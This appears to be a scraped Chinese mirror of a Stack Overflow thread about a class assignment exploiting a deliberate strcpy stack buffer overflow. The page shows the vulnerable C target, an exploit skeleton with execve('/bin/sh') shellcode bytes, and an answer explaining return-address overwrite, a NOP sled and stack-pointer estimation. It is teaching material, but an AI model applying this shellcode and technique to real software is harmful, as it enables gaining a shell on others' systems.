- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在尝试为我的一个 comp sci 类(class)找出这个问题,我已经利用了所有资源,但仍然存在问题,如果有人能提供一些见解,我将不胜感激。
我有这个“目标”,我需要使用缓冲区溢出漏洞执行 execve(“/bin/sh”)。在buf[128]的溢出中,在执行不安全命令strcpy时,在系统期望找到返回地址的位置出现了一个返回缓冲区的指针。
目标文件
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
最佳答案
好吧,所以您希望程序执行您的 shellcode。它已经以机器形式存在,因此可以由系统执行。您已将其存储在缓冲区中。因此,问题将是“系统如何知道执行我的代码?”更准确地说,“系统如何知道在哪里寻找下一个要执行的代码?”在这种情况下,答案是您所说的退货地址。
基本上,您走在正确的轨道上。您是否尝试过执行代码?在执行这种类型的漏洞利用时,我注意到的一件事是它不是一门精确的科学。有时,内存中还有您不希望存在的其他内容,因此您必须增加添加到缓冲区中的字节数,以便将返回地址与系统期望的位置正确对齐。
我不是安全专家,但我可以告诉你一些可能有帮助的事情。一个是我通常包含一个“NOP Sled”——本质上只是一系列 0x90 字节,除了在处理器上执行“NOP”指令之外不做任何事情。另一个技巧是在缓冲区的末尾重复返回地址,这样即使其中一个覆盖了堆栈上的返回地址,您也将成功返回到您想要的位置。
因此,您的缓冲区将如下所示:
| NOP雪橇| shell 代码 |重复的返回地址 |
(注意:这些不是我的想法,我是从乔恩·埃里克森(Jon Erickson)的《黑客:剥削的艺术》中获得的。如果您有兴趣了解更多信息,我推荐这本书)。
要计算地址,您可以使用类似于以下内容的内容:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
关于buffer - 故意缓冲区溢出漏洞利用程序,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3860655/
首先是我的对象: public class Group { private final ObservableList sourceList; private final Obser
我有一个 Circle 类和一个 Rectangle 类。我现在想创建一个类 FunnyObject,每个类都由一个圆和两个矩形组成。 如果我这样做: class FunnyObject:public
我正在阅读一篇博文 here关于用 node.js 创建一个刮板并遇到了一些有趣的 javascript,我无法完全理解。这正是我想在我的脚本中使用的东西,但作为一个新手,我不想在不知道它们首先做什么
我不明白为什么在成功之后我为什么看不到脚本中的错误(我用谷歌搜索,它只是给出了关于jquery get脚本成功/错误时错误处理的很多答案)。 如果我使用“any” js脚本执行此操作 $.getScr
我目前正在为我公司正在开发的设备( radio 编码器)开发单元测试。 可以通过 SNMP(仅限 v1)访问各种统计信息,其中您可以获得由于各种原因丢弃的 UDP 数据报的数量。 我希望能够发送一个包
这是一个令人费解的问题。我运行良好的 ASP.NET 3.5 应用程序突然开始出现超时错误... System.Data.SqlClient.SqlException:超时已过。操作完成前超时时间已过
我正在尝试掌握 C++ 内存管理的窍门,并尝试使用无限循环的新语句故意使我的程序崩溃。据我了解,这只会在内存堆上保留越来越多的空间。但是我的程序不会崩溃。在 Windows 任务管理器中监控它,它将使
我是一名优秀的程序员,十分优秀!